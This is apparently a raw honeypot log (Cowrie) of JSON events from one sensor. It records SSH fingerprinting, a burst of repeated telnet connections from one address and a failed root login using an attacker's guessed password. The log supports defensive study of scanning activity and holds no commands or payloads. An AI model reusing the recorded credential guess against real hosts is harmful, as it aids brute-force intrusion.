{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:47:37.910162Z","src_ip":"72.253.251.7","session":"3fff13fcba47","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:47:38.026537Z","src_ip":"72.253.251.7","session":"3fff13fcba47","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:47:38.233590Z","src_ip":"103.86.180.10","session":"59c1c00b829e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"aDm8H%MdA","message":"login attempt [root/aDm8H%MdA] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:47:38.526532Z","src_ip":"72.253.251.7","session":"3fff13fcba47","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"147.124.211.111","src_port":41746,"dst_ip":"159.203.135.109","dst_port":23,"session":"fae6d137b622","protocol":"telnet","message":"New connection: 147.124.211.111:41746 (159.203.135.109:23) [session: fae6d137b622]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:47:39.166641Z"}
{"eventid":"cowrie.session.closed","duration":31.248042106628418,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:47:39.256813Z","src_ip":"147.124.211.111","session":"8ef93f094d60","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:47:39.645757Z","src_ip":"72.253.251.7","session":"3fff13fcba47","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"147.124.211.111","src_port":35740,"dst_ip":"159.203.135.109","dst_port":23,"session":"47f9397c9c7f","protocol":"telnet","message":"New connection: 147.124.211.111:35740 (159.203.135.109:23) [session: 47f9397c9c7f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:47:40.502102Z"}
{"eventid":"cowrie.session.closed","duration":31.040072441101074,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:47:40.784478Z","src_ip":"147.124.211.111","session":"bcfcda4a8f0b","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.00440001487732,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:47:41.633456Z","src_ip":"147.124.211.111","session":"acfce8eadaaa","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"147.124.211.111","src_port":35752,"dst_ip":"159.203.135.109","dst_port":23,"session":"592847502e02","protocol":"telnet","message":"New connection: 147.124.211.111:35752 (159.203.135.109:23) [session: 592847502e02]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:47:41.708898Z"}
{"eventid":"cowrie.session.connect","src_ip":"147.124.211.111","src_port":35768,"dst_ip":"159.203.135.109","dst_port":23,"session":"ef99f7d3ff8a","protocol":"telnet","message":"New connection: 147.124.211.111:35768 (159.203.135.109:23) [session: ef99f7d3ff8a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:47:42.399540Z"}
{"eventid":"cowrie.session.connect","src_ip":"147.124.211.111","src_port":35770,"dst_ip":"159.203.135.109","dst_port":23,"session":"7373c998bc60","protocol":"telnet","message":"New connection: 147.124.211.111:35770 (159.203.135.109:23) [session: 7373c998bc60]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:47:42.554813Z"}
{"eventid":"cowrie.session.connect","src_ip":"147.124.211.111","src_port":35776,"dst_ip":"159.203.135.109","dst_port":23,"session":"582031507e5f","protocol":"telnet","message":"New connection: 147.124.211.111:35776 (159.203.135.109:23) [session: 582031507e5f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:47:43.908055Z"}
{"eventid":"cowrie.session.connect","src_ip":"147.124.211.111","src_port":35780,"dst_ip":"159.203.135.109","dst_port":23,"session":"8e1863b30796","protocol":"telnet","message":"New connection: 147.124.211.111:35780 (159.203.135.109:23) [session: 8e1863b30796]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:47:43.911709Z"}
{"eventid":"cowrie.session.closed","duration":31.625587463378906,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:47:43.997895Z","src_ip":"147.124.211.111","session":"c17649699ed8","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.756814002990723,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:47:44.136024Z","src_ip":"147.124.211.111","session":"578a1761afbf","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"147.124.211.111","src_port":35786,"dst_ip":"159.203.135.109","dst_port":23,"session":"17850344ef51","protocol":"telnet","message":"New connection: 147.124.211.111:35786 (159.203.135.109:23) [session: 17850344ef51]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:47:44.189092Z"}
{"eventid":"cowrie.session.closed","duration":31.29757070541382,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:47:44.964598Z","src_ip":"147.124.211.111","session":"38bebae91d71","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"147.124.211.111","src_port":35792,"dst_ip":"159.203.135.109","dst_port":23,"session":"5ca2f32f1423","protocol":"telnet","message":"New connection: 147.124.211.111:35792 (159.203.135.109:23) [session: 5ca2f32f1423]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:47:45.554734Z"}
{"eventid":"cowrie.session.closed","duration":31.43186068534851,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:47:45.731530Z","src_ip":"147.124.211.111","session":"463161d91629","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"147.124.211.111","src_port":35802,"dst_ip":"159.203.135.109","dst_port":23,"session":"de5d3a7035ba","protocol":"telnet","message":"New connection: 147.124.211.111:35802 (159.203.135.109:23) [session: de5d3a7035ba]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:47:46.011633Z"}
{"eventid":"cowrie.session.closed","duration":31.10552144050598,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:47:46.090161Z","src_ip":"147.124.211.111","session":"17dabf294e13","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.17209005355835,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:47:47.099899Z","src_ip":"147.124.211.111","session":"7c6fc2c79b81","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"147.124.211.111","src_port":35814,"dst_ip":"159.203.135.109","dst_port":23,"session":"44d8faa21bc5","protocol":"telnet","message":"New connection: 147.124.211.111:35814 (159.203.135.109:23) [session: 44d8faa21bc5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:47:47.290337Z"}
{"eventid":"cowrie.session.connect","src_ip":"147.124.211.111","src_port":35828,"dst_ip":"159.203.135.109","dst_port":23,"session":"caeaf54f9448","protocol":"telnet","message":"New connection: 147.124.211.111:35828 (159.203.135.109:23) [session: caeaf54f9448]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:47:47.765903Z"}
{"eventid":"cowrie.session.closed","duration":31.315731287002563,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:47:49.851711Z","src_ip":"147.124.211.111","session":"c813b67eccec","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"147.124.211.111","src_port":38476,"dst_ip":"159.203.135.109","dst_port":23,"session":"63495a7000ed","protocol":"telnet","message":"New connection: 147.124.211.111:38476 (159.203.135.109:23) [session: 63495a7000ed]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:47:50.207004Z"}
{"eventid":"cowrie.session.connect","src_ip":"147.124.211.111","src_port":38484,"dst_ip":"159.203.135.109","dst_port":23,"session":"1e6a62959d3b","protocol":"telnet","message":"New connection: 147.124.211.111:38484 (159.203.135.109:23) [session: 1e6a62959d3b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:47:50.260178Z"}
{"eventid":"cowrie.session.closed","duration":30.50212001800537,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:47:50.291715Z","src_ip":"147.124.211.111","session":"8f4e5ac6f8a6","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"147.124.211.111","src_port":38510,"dst_ip":"159.203.135.109","dst_port":23,"session":"0fcb8241e16b","protocol":"telnet","message":"New connection: 147.124.211.111:38510 (159.203.135.109:23) [session: 0fcb8241e16b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:47:51.075637Z"}
{"eventid":"cowrie.session.closed","duration":30.680464506149292,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:47:51.166718Z","src_ip":"147.124.211.111","session":"1b223eece3a6","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"147.124.211.111","src_port":38494,"dst_ip":"159.203.135.109","dst_port":23,"session":"463230d02a24","protocol":"telnet","message":"New connection: 147.124.211.111:38494 (159.203.135.109:23) [session: 463230d02a24]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:47:51.280733Z"}
{"eventid":"cowrie.session.connect","src_ip":"147.124.211.111","src_port":38516,"dst_ip":"159.203.135.109","dst_port":23,"session":"7722cf82c416","protocol":"telnet","message":"New connection: 147.124.211.111:38516 (159.203.135.109:23) [session: 7722cf82c416]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:47:52.240563Z"}
{"eventid":"cowrie.session.connect","src_ip":"147.124.211.111","src_port":38532,"dst_ip":"159.203.135.109","dst_port":23,"session":"f7acd4da562b","protocol":"telnet","message":"New connection: 147.124.211.111:38532 (159.203.135.109:23) [session: f7acd4da562b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:47:52.548253Z"}
{"eventid":"cowrie.session.closed","duration":30.756789684295654,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:47:52.593925Z","src_ip":"147.124.211.111","session":"4068c6a87f20","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"147.124.211.111","src_port":38544,"dst_ip":"159.203.135.109","dst_port":23,"session":"648da61c3a53","protocol":"telnet","message":"New connection: 147.124.211.111:38544 (159.203.135.109:23) [session: 648da61c3a53]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:47:52.818986Z"}
{"eventid":"cowrie.session.connect","src_ip":"147.124.211.111","src_port":38570,"dst_ip":"159.203.135.109","dst_port":23,"session":"d86c3289ad67","protocol":"telnet","message":"New connection: 147.124.211.111:38570 (159.203.135.109:23) [session: d86c3289ad67]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:47:53.114395Z"}
{"eventid":"cowrie.session.closed","duration":30.96842646598816,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:47:53.188976Z","src_ip":"147.124.211.111","session":"c8e89ac64d88","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.91974377632141,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:47:53.305455Z","src_ip":"147.124.211.111","session":"5cc3f566b99e","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"147.124.211.111","src_port":38586,"dst_ip":"159.203.135.109","dst_port":23,"session":"63b37db138f1","protocol":"telnet","message":"New connection: 147.124.211.111:38586 (159.203.135.109:23) [session: 63b37db138f1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:47:53.378265Z"}
{"eventid":"cowrie.session.closed","duration":31.558306455612183,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:47:53.578451Z","src_ip":"147.124.211.111","session":"5bcdd4dfcde6","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"147.124.211.111","src_port":38556,"dst_ip":"159.203.135.109","dst_port":23,"session":"4ae041211635","protocol":"telnet","message":"New connection: 147.124.211.111:38556 (159.203.135.109:23) [session: 4ae041211635]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:47:54.098483Z"}
{"eventid":"cowrie.session.connect","src_ip":"147.124.211.111","src_port":38602,"dst_ip":"159.203.135.109","dst_port":23,"session":"de7ab79f4e16","protocol":"telnet","message":"New connection: 147.124.211.111:38602 (159.203.135.109:23) [session: de7ab79f4e16]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:47:54.183534Z"}
{"eventid":"cowrie.session.closed","duration":30.747849225997925,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:47:54.188947Z","src_ip":"147.124.211.111","session":"db2d6b25e342","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.213051795959473,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:47:54.192595Z","src_ip":"147.124.211.111","session":"d2558a4760e0","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":120.0010495185852,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:47:54.295632Z","src_ip":"182.253.54.171","session":"e22238c0c6ae","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"147.124.211.111","src_port":38592,"dst_ip":"159.203.135.109","dst_port":23,"session":"e3753040586f","protocol":"telnet","message":"New connection: 147.124.211.111:38592 (159.203.135.109:23) [session: e3753040586f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:47:54.659986Z"}
{"eventid":"cowrie.session.connect","src_ip":"147.124.211.111","src_port":38616,"dst_ip":"159.203.135.109","dst_port":23,"session":"c693e1b1081e","protocol":"telnet","message":"New connection: 147.124.211.111:38616 (159.203.135.109:23) [session: c693e1b1081e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:47:54.823860Z"}
{"eventid":"cowrie.session.closed","duration":30.852213859558105,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:47:55.048165Z","src_ip":"147.124.211.111","session":"bdc30779c989","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"147.124.211.111","src_port":38594,"dst_ip":"159.203.135.109","dst_port":23,"session":"5afe99077127","protocol":"telnet","message":"New connection: 147.124.211.111:38594 (159.203.135.109:23) [session: 5afe99077127]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:47:55.107980Z"}
{"eventid":"cowrie.session.closed","duration":31.384296894073486,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:47:55.432547Z","src_ip":"147.124.211.111","session":"75854a12aad6","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"147.124.211.111","src_port":38608,"dst_ip":"159.203.135.109","dst_port":23,"session":"cbee503c239a","protocol":"telnet","message":"New connection: 147.124.211.111:38608 (159.203.135.109:23) [session: cbee503c239a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:47:55.494179Z"}
{"eventid":"cowrie.session.connect","src_ip":"182.253.54.171","src_port":7253,"dst_ip":"10.17.0.5","dst_port":23,"session":"1f13dfa79ce0","protocol":"telnet","message":"New connection: 182.253.54.171:7253 (10.17.0.5:23) [session: 1f13dfa79ce0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:47:55.801202Z"}
{"eventid":"cowrie.session.connect","src_ip":"147.124.211.111","src_port":38626,"dst_ip":"159.203.135.109","dst_port":23,"session":"a8d186f50b09","protocol":"telnet","message":"New connection: 147.124.211.111:38626 (159.203.135.109:23) [session: a8d186f50b09]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:47:57.628365Z"}
{"eventid":"cowrie.session.connect","src_ip":"147.124.211.111","src_port":38634,"dst_ip":"159.203.135.109","dst_port":23,"session":"8b7c3d6f846f","protocol":"telnet","message":"New connection: 147.124.211.111:38634 (159.203.135.109:23) [session: 8b7c3d6f846f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:47:58.360116Z"}
{"eventid":"cowrie.session.connect","src_ip":"147.124.211.111","src_port":38640,"dst_ip":"159.203.135.109","dst_port":23,"session":"0fd42c13d6a9","protocol":"telnet","message":"New connection: 147.124.211.111:38640 (159.203.135.109:23) [session: 0fd42c13d6a9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:47:58.514975Z"}
{"eventid":"cowrie.session.connect","src_ip":"147.124.211.111","src_port":38654,"dst_ip":"159.203.135.109","dst_port":23,"session":"c217c0c7336f","protocol":"telnet","message":"New connection: 147.124.211.111:38654 (159.203.135.109:23) [session: c217c0c7336f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:47:58.764597Z"}
{"eventid":"cowrie.session.connect","src_ip":"147.124.211.111","src_port":38660,"dst_ip":"159.203.135.109","dst_port":23,"session":"d2c6ee3a0df2","protocol":"telnet","message":"New connection: 147.124.211.111:38660 (159.203.135.109:23) [session: d2c6ee3a0df2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:47:58.846391Z"}
{"eventid":"cowrie.session.connect","src_ip":"147.124.211.111","src_port":38638,"dst_ip":"159.203.135.109","dst_port":23,"session":"42cfaf699f16","protocol":"telnet","message":"New connection: 147.124.211.111:38638 (159.203.135.109:23) [session: 42cfaf699f16]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:47:59.409920Z"}
{"eventid":"cowrie.session.connect","src_ip":"147.124.211.111","src_port":38680,"dst_ip":"159.203.135.109","dst_port":23,"session":"7dd096b4deaf","protocol":"telnet","message":"New connection: 147.124.211.111:38680 (159.203.135.109:23) [session: 7dd096b4deaf]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:47:59.483932Z"}
{"eventid":"cowrie.session.connect","src_ip":"147.124.211.111","src_port":38688,"dst_ip":"159.203.135.109","dst_port":23,"session":"54f303c472cd","protocol":"telnet","message":"New connection: 147.124.211.111:38688 (159.203.135.109:23) [session: 54f303c472cd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:47:59.611351Z"}
{"eventid":"cowrie.session.connect","src_ip":"147.124.211.111","src_port":38674,"dst_ip":"159.203.135.109","dst_port":23,"session":"8fa25375c4ae","protocol":"telnet","message":"New connection: 147.124.211.111:38674 (159.203.135.109:23) [session: 8fa25375c4ae]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:47:59.922419Z"}
{"eventid":"cowrie.session.closed","duration":30.463120460510254,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:48:02.083657Z","src_ip":"147.124.211.111","session":"fc218de6682a","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"147.124.211.111","src_port":33824,"dst_ip":"159.203.135.109","dst_port":23,"session":"4d94fc381e9d","protocol":"telnet","message":"New connection: 147.124.211.111:33824 (159.203.135.109:23) [session: 4d94fc381e9d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:48:02.481831Z"}
{"eventid":"cowrie.session.closed","duration":30.93538761138916,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:48:02.776481Z","src_ip":"147.124.211.111","session":"a3c637af1514","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"147.124.211.111","src_port":33830,"dst_ip":"159.203.135.109","dst_port":23,"session":"426fba404ed6","protocol":"telnet","message":"New connection: 147.124.211.111:33830 (159.203.135.109:23) [session: 426fba404ed6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:48:02.961528Z"}
{"eventid":"cowrie.session.closed","duration":30.460323572158813,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:48:03.029195Z","src_ip":"147.124.211.111","session":"233e28f4e6cd","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.77421522140503,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:48:03.084338Z","src_ip":"147.124.211.111","session":"0bf64b53388c","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.45943832397461,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:48:03.092426Z","src_ip":"147.124.211.111","session":"91e99f90c1a4","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"147.124.211.111","src_port":33842,"dst_ip":"159.203.135.109","dst_port":23,"session":"7ef4694afa4d","protocol":"telnet","message":"New connection: 147.124.211.111:33842 (159.203.135.109:23) [session: 7ef4694afa4d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:48:03.367115Z"}
{"eventid":"cowrie.session.closed","duration":30.604345321655273,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:48:03.432847Z","src_ip":"147.124.211.111","session":"13b05b7bcd9c","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.63664722442627,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:48:03.782174Z","src_ip":"147.124.211.111","session":"439b3b13b50d","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"147.124.211.111","src_port":33836,"dst_ip":"159.203.135.109","dst_port":23,"session":"c06a736736df","protocol":"telnet","message":"New connection: 147.124.211.111:33836 (159.203.135.109:23) [session: c06a736736df]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:48:04.208414Z"}
{"eventid":"cowrie.session.connect","src_ip":"147.124.211.111","src_port":33856,"dst_ip":"159.203.135.109","dst_port":23,"session":"a693d9ce3503","protocol":"telnet","message":"New connection: 147.124.211.111:33856 (159.203.135.109:23) [session: a693d9ce3503]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:48:04.456276Z"}
